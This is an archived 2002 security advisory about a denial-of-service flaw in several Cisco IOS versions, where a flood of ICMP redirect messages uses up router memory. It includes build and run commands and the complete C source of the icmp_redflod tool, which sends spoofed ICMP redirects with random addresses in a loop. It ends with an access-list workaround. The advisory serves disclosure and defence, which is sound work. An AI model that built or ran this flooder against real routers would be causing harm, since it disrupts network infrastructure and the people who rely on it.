TUCoPS :: Cisco :: cisc5356.htm

Cisco IOS ICMP redirect DoS
22th May 2002 [SBWID-5356]
COMMAND

	Cisco IOS ICMP redirect DoS

SYSTEMS AFFECTED

	

	Known vulnerable combinations:
	

	 Cisco 1005	IOS 11.0(18)

	 Cisco 1603	IOS 11.3(11b)

	 Cisco 1603	IOS 12.0(3)

	 Cisco 2503	IOS 11.0(22a)

	 Cisco 2503	IOS 11.1(24a)

	

PROBLEM

	In FX,FtR and kim0 of Phenoelit [http://www.phenoelit.de] advisory :
	

	When flooded with ICMP redirect messages, the  IOS  uses  up  all  it\'s
	memory to store the new host  routes.  The  device  is  then  unable  to
	perform  operations  that  need  additional  memory  such  as  receiving
	routing updates and accepting inbound telnet connections.
	

	When generating ICMP redirect messages with random IP addresses  in  the
	\"offending packet\" section of the ICMP frame, IOS  will  include  this
	IP address in it\'s ICMP redirection table. In the  vulnerable  versions
	of IOS, this table has no size limit. Later versions of  IOS  enforce  a
	limit of 16000 redirects and therefore limit the amount of  used  memory
	to approximately 1.16MB.
	

	 [ Example ]

	

	To generate random ICMP redirect messages, a sender  tool  is  available
	at http://www.phenoelit.de/irpas/icmp_redflod.c (see copy below),  which
	has to be linked with the IRPAS packet library.
	

	 linuxbox# cd /where/irpas/is

	 linuxbox# make libpackets.a

	 linuxbox# gcc -o icmp_redflod -I. -L. icmp_redflod.c -lpackets

	 linuxbox# ./icmp_redflod -i eth0 -D <destination_ip> -G <fake_gateway>

	

	On high bandwidth networks, the command line switch -w0 can be  used  to
	increase the sending rate.
	

	 [ Side note ]

	

	Microsoft Windows 98 is also vulnerable to this attack. Not  tested  any
	further.
	

	

	/* ICMP redirect flooder

	 *

	 * FX <fx@phenoelit.de>

	 * Phenoelit (http://www.phenoelit.de)

	 * (c) 2k++

	 *

	 * $Id: icmp_redflod.c,v 1.3 2002/05/11 14:59:06 fx Exp fx $

	 */

	#include <stdio.h>

	#include <stdlib.h>

	#include <unistd.h>

	#include <string.h>

	#include <netinet/in.h>

	#include <rpc/types.h>

	#include <netdb.h>

	#include <sys/socket.h>

	#include <arpa/inet.h>

	#include <errno.h>

	#include <signal.h>

	#include <time.h>

	

	#include \"protocols.h\"

	#include \"packets.h\"

	#include \"build.h\"

	

	#include <pcap.h>

	#include <net/bpf.h>

	

	/* definitions */

	#define IPTTL		0x80

	

	#define DEFAULT_DELAY	100000

	

	#define BANNER		\"ICMP Redir Flooder $Revision: 1.3 $\\n\"\\

				\"\\t(c) 2k++ FX <fx@phenoelit.de>\\n\"\\

				\"\\tPhenoelit (http://www.phenoelit.de)\\n\"

	

	/* config */

	struct {

	    int			verbose;

	    char		*device;

	    int			flood;

	

	    int			spoof_src;

	    int			code;

	    struct in_addr	dest;

	    struct in_addr	src;

	    struct in_addr	gw;

	    unsigned int	delay;

	} cfg;

	

	

	/*

	 * globals 

	 */

	u_char			*rawpacket;

	int			icmpsfd;

	

	sig_atomic_t		stop_flag=0;

	unsigned long		iii=0;

	

	

	/************************************

	 * prototypes */

	void	usage(char *n);

	

	u_char	*construct_icmp_redirect(struct in_addr *dest,

		struct in_addr *newgw, int *psize);

	

	/* PCAP */

	void	signaler(int sig);

	

	

	/* the main function */

	int	main(int argc, char **argv) {

	    char		option;

	    extern char		*optarg;

	    u_char		*icp;

	    int			icl;

	

	

	    memset(&cfg,0,sizeof(cfg));

	    cfg.delay=DEFAULT_DELAY; cfg.flood=1; cfg.code=0xFF;

	    while ((option=getopt(argc,argv,\"vfc:i:S:G:D:w:\"))!=EOF) {

		switch (option) {

		    case \'v\':	/* verbose */

				cfg.verbose++;

				break;

		    case \'f\':	cfg.flood=0;

				break;

		    case \'i\':	/* local network device */

				cfg.device=smalloc(strlen(optarg)+1);

				strcpy(cfg.device,optarg);

				break;

				break;

		    case \'S\':	/* spoof source */

				if (inet_aton(optarg,&(cfg.src))==0) {

				    fprintf(stderr,

					    \"source IP address seems to be wrong\\n\");

				    return (1);

				}

				cfg.spoof_src++;

				break;

		    case \'G\':	/* set gw */

				if (inet_aton(optarg,&(cfg.gw))==0) {

				    fprintf(stderr,

					    \"Gateway IP address seems to be wrong\\n\");

				    return (1);

				}

				break;

		    case \'D\':	/* dest address */

				if (inet_aton(optarg,&(cfg.dest))==0) {

				    fprintf(stderr,

					    \"dest IP address seems to be wrong\\n\");

				    return (1);

				}

				break;

		    case \'w\':	cfg.delay=atoi(optarg);

				break;

		    case \'c\':	cfg.code=atoi(optarg);

				break;

		    default:	usage(argv[0]);

		}

	    }

	

	    if (!cfg.device) usage(argv[0]);

	

	    /*

	     * TODO: add output on what we are about to do 

	     */

		

	

	    srand((unsigned int)time(NULL));

	    /* set up ICMP sender socket (IP) */

	    if ((icmpsfd=init_socket_IP4(cfg.device,0))<0) return (-1);

	    

	    /* if spoofing is enabled, copy it */

	    if (!cfg.spoof_src) {

		memcpy(&(cfg.src.s_addr), &(packet_ifconfig.ip.s_addr), IP_ADDR_LEN);

	    }

	

	    /* signal handling */

	    signal(SIGTERM,&signaler);

	    signal(SIGABRT,&signaler);

	    signal(SIGINT,&signaler);

	

	    /* my shit */

	    printf(BANNER); printf(\"\\tIRPAS build %s\\n\",BUILD);

	    printf(\"Performing flood ...\\n\");

	

	    if (cfg.flood) {

		while (!stop_flag) {

		    icp=construct_icmp_redirect(&(cfg.dest),&(cfg.gw),&icl);

		    sendpack_IP4(icmpsfd,icp,icl);

		    free(icp);

		    if (cfg.delay>0) usleep(cfg.delay);

		}

	    } else {

		icp=construct_icmp_redirect(&(cfg.dest),&(cfg.gw),&icl);

		sendpack_IP4(icmpsfd,icp,icl);

		free(icp);

	    }

	

	    /* at the end of the day, close our socket */

	    close(icmpsfd);

	    printf(\"Send %lu packets\\n\",iii);

	

	    return (0);

	}

	

	

	

	

	/********************** FUNCTIONS **********************/

	

	

	void	signaler(int sig) {

	    stop_flag++;

	    if (cfg.verbose>2)

		fprintf(stderr,\"\\nSignal received.\\n\");

	}

	

	

	/* constructs the ICMP redirect

	 * * Returns a pointer to the packet or NULL if failed

	 * * returns also the size in *psize */

	u_char	*construct_icmp_redirect(struct in_addr *dest,

		struct in_addr *newgw, int *psize) {

	#define PADDING 0

	    u_char			*tpacket;

	    iphdr_t			*iph,*iporig;

	    icmp_redirect_t		*icmp;

	    u_int16_t			cs;

	    unsigned int		randip;

	

	    *psize=sizeof(icmp_redirect_t)+sizeof(iphdr_t)+PADDING;

	    tpacket=(u_char *)smalloc(*psize

		    +3 /* for my checksum function, which sometimes 

			  steps over the mark */

		    );

	

	    /* make up IP packet */

	    iph=(iphdr_t *)tpacket;

	

	    iph->version=4;

	    iph->ihl=sizeof(iphdr_t)/4;

	

	    iph->tot_len=htons(*psize);

	    iph->ttl=IPTTL;

	    iph->id=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0)));

	    iph->protocol=IPPROTO_ICMP;

	

	    memcpy(&(iph->saddr.s_addr),&(cfg.src.s_addr),IP_ADDR_LEN);

	    memcpy(&(iph->daddr.s_addr),&(dest->s_addr),IP_ADDR_LEN);

	

	    /* make up the icmp header */

	    icmp=(icmp_redirect_t *)(tpacket+sizeof(iphdr_t));

	    icmp->type=ICMP_REDIRECT;

	    if (cfg.code==0xFF) 

		icmp->code=ICMP_REDIR_HOST;

	    else 

		icmp->code=(unsigned char)cfg.code;

	    memcpy(&(icmp->gateway),&(newgw->s_addr),IP_ADDR_LEN);

	    iporig=(iphdr_t *)(&(icmp->headerdata));

	

	    iporig->version=4;

	    iporig->ihl=sizeof(iphdr_t)/4;

	    iporig->tot_len=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0)));

	    iporig->id=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0)));

	    iporig->protocol=IPPROTO_UDP;

	    memcpy(&(iporig->saddr.s_addr),&(cfg.dest.s_addr),IP_ADDR_LEN);

	    randip=((unsigned int)(4294967294.0*rand()/(RAND_MAX+1.0)));

	    memcpy(&(iporig->daddr.s_addr),&(randip),IP_ADDR_LEN);

	    iii++;

	

	    /* make up checksum */

	    cs=chksum((u_char *)icmp,sizeof(icmp_redirect_t));

	    icmp->checksum=cs;

	

	    return tpacket;

	}

	

	void	usage(char *n) {

	    printf(

		    \"%s [-v[v[v]]] [-f] -i <interface> \\n\"

		    \"\\t[-D <destination IP>\\n\"

		    \"\\t[-G <gateway IP>] [-w <delay>]\\n\"

		    \"\\t[-S <ip address>] [-c ICMP code]\\n\",

		    n);

	    exit (1);

	}

	

	

SOLUTION

	Workaround : filter inbound ICMP redirect messages, such as :
	

	 router(config)#access-list 101 deny icmp any host <device_IP> redirect

	 .... (the rest of the access-list 101)

	 router(config)#interface eth0

	 router(config-if)#ip access-group 101 in

	

	This example will block all ICMP packets, sent  to  the  router  itself,
	coming from the eth0 interface. All transit ICMP redirect  packets  will
	be allowed through.
	

	Patch not available yet, check Cisco bug ID CSCdx32056.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH